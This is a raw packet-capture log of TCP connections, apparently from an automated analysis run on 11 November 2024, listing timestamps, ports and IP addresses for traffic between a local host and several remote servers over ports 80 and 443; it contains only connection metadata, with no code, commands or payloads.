Nov 11, 2024 14:32:22.685167074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685178041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685184956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685194969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685199976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685224056 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685251951 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685255051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685261011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685271978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685281992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685303926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685309887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685309887 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685321093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685328960 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685363054 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685414076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685421944 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685431957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685437918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685445070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685487032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685513020 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685519934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685525894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685532093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685538054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685548067 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685555935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685563087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685574055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685576916 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685585976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685604095 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685612917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685620070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685621977 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685626030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685646057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685646057 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685652018 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685658932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685663939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685666084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685698032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685709953 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685796976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685801983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685807943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685812950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685818911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685823917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685834885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685842037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.685853958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.685879946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.940936089 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:22.945950985 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:23.636231899 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:23.637526989 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:28.754246950 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:28.754306078 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:30.182219982 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:30.184151888 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:53.487441063 CET	49762	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:53.487482071 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:53.487550974 CET	49762	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:53.487919092 CET	49762	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:53.487930059 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:54.030177116 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:54.030286074 CET	49762	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:54.034774065 CET	49762	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:54.034779072 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:54.034986019 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:54.043253899 CET	49762	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:54.087343931 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:54.222496033 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:54.222517967 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:54.222532988 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:54.222635984 CET	49762	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:54.222645998 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:54.222700119 CET	49762	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:54.224138975 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:54.224199057 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:54.224230051 CET	49762	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:54.224235058 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:54.224278927 CET	49762	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:54.226898909 CET	49762	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:54.226907015 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:54.226926088 CET	49762	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:54.226929903 CET	443	49762	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:58.506012917 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:58.506056070 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:58.506138086 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:58.506416082 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:58.506431103 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.023782969 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.023865938 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.025305986 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.025314093 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.025511980 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.034028053 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.079323053 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.205209970 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.205235958 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.205254078 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.205442905 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.205455065 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.205507040 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.207072020 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.207088947 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.207151890 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.207159042 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.207205057 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.286493063 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.286509037 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.286592960 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.286600113 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.286639929 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.288013935 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.288029909 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.288074017 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.288079977 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.288105011 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.288124084 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.288971901 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.288986921 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.289035082 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.289041042 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.289079905 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.289109945 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.291127920 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.291146040 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.291203022 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.291208982 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.291245937 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.367815971 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.367830992 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.367913961 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.367919922 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.367959023 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.368227959 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.368246078 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.368299961 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.368304968 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.368343115 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.368781090 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.368803024 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.368854046 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.368860006 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.368899107 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.372677088 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.372694016 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.372737885 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.372744083 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.372766018 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.372785091 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.372936010 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.372950077 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.373155117 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.373161077 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.373203039 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.449157000 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.449177980 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.449285984 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.449295044 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.449347019 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.449390888 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.449408054 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.449443102 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.449446917 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.449455023 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.449476957 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.449503899 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.449506044 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.449548960 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.449800014 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.449815035 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.449826956 CET	49763	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.449832916 CET	443	49763	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.488004923 CET	49765	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.488035917 CET	443	49765	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.488035917 CET	49764	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.488068104 CET	443	49764	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.488110065 CET	49765	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.488141060 CET	49764	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.488421917 CET	49765	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.488435984 CET	443	49765	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.488527060 CET	49764	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.488543034 CET	443	49764	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.489732981 CET	49766	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.489741087 CET	443	49766	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.489799023 CET	49766	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.489903927 CET	49766	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.489916086 CET	443	49766	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.490901947 CET	49767	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.490910053 CET	443	49767	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.490963936 CET	49767	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.491561890 CET	49768	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.491600990 CET	443	49768	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.491657019 CET	49768	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.491698980 CET	49767	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.491709948 CET	443	49767	13.107.246.45	192.168.2.4
Nov 11, 2024 14:32:59.491794109 CET	49768	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:32:59.491806984 CET	443	49768	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.001583099 CET	443	49765	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.001599073 CET	443	49764	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.002046108 CET	49765	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.002069950 CET	443	49765	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.002684116 CET	49765	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.002688885 CET	443	49765	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.002804041 CET	49764	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.002827883 CET	443	49764	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.003179073 CET	49764	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.003182888 CET	443	49764	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.004420996 CET	443	49768	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.004717112 CET	49768	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.004736900 CET	443	49768	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.005108118 CET	49768	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.005112886 CET	443	49768	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.007133961 CET	443	49766	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.007141113 CET	443	49767	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.007585049 CET	49766	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.007592916 CET	443	49766	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.008002043 CET	49766	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.008007050 CET	443	49766	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.008089066 CET	49767	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.008100986 CET	443	49767	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.008443117 CET	49767	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.008451939 CET	443	49767	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.110317945 CET	443	49764	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.110343933 CET	443	49765	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.110353947 CET	443	49764	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.110383987 CET	443	49764	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.110402107 CET	443	49765	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.110405922 CET	49764	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.110454082 CET	49764	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.110455036 CET	49765	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.110743046 CET	49764	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.110757113 CET	443	49764	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.110766888 CET	49764	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.110776901 CET	443	49764	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.111373901 CET	443	49768	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.111397028 CET	443	49768	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.111443043 CET	443	49768	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.111444950 CET	49768	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.111447096 CET	443	49767	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.111457109 CET	443	49766	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.111476898 CET	443	49766	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.111483097 CET	49768	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.111510038 CET	443	49767	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.111520052 CET	443	49766	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.111532927 CET	49766	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.111560106 CET	49766	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.111565113 CET	49767	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.112176895 CET	49765	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.112191916 CET	443	49765	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.112202883 CET	49765	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.112207890 CET	443	49765	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.112848043 CET	49767	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.112853050 CET	443	49767	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.112873077 CET	49767	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.112875938 CET	443	49767	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.113373041 CET	49766	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.113377094 CET	443	49766	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.113388062 CET	49766	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.113390923 CET	443	49766	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.114072084 CET	49768	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.114087105 CET	443	49768	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.114097118 CET	49768	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.114101887 CET	443	49768	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.116946936 CET	49769	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.116976023 CET	443	49769	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.117038012 CET	49769	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.117335081 CET	49770	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.117363930 CET	443	49770	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.117413998 CET	49770	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.117666960 CET	49769	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.117681026 CET	443	49769	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.117961884 CET	49770	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.117974043 CET	443	49770	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.118812084 CET	49771	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.118820906 CET	443	49771	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.118875027 CET	49771	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.118974924 CET	49771	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.118985891 CET	443	49771	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.120104074 CET	49772	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.120143890 CET	443	49772	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.120199919 CET	49772	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.120604992 CET	49772	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.120625973 CET	443	49772	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.121001959 CET	49773	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.121031046 CET	443	49773	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.121078968 CET	49773	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.121180058 CET	49773	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.121195078 CET	443	49773	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.631597996 CET	443	49770	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.631861925 CET	443	49769	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.632085085 CET	49770	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.632106066 CET	443	49770	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.632234097 CET	49769	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.632261992 CET	443	49769	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.632622004 CET	49770	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.632627964 CET	443	49770	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.632694960 CET	49769	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.632704020 CET	443	49769	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.636625051 CET	443	49773	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.636975050 CET	49773	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.636996031 CET	443	49773	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.637361050 CET	49773	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.637366056 CET	443	49773	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.637533903 CET	443	49772	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.637759924 CET	49772	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.637772083 CET	443	49772	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.638087034 CET	49772	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.638091087 CET	443	49772	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.643866062 CET	443	49771	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.644174099 CET	49771	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.644205093 CET	443	49771	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.644577980 CET	49771	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.644588947 CET	443	49771	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.724431992 CET	443	49769	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.724658012 CET	443	49769	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.724724054 CET	49769	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.726416111 CET	443	49770	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.727207899 CET	443	49770	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.727256060 CET	49770	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.730165958 CET	443	49773	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.730330944 CET	443	49773	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.730391026 CET	49773	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.730485916 CET	443	49772	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.730664015 CET	443	49772	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.731287003 CET	49772	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.736581087 CET	443	49771	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.736653090 CET	443	49771	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.736818075 CET	49771	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.744122982 CET	49772	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.744141102 CET	49769	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.744143963 CET	443	49772	13.107.246.45	192.168.2.4
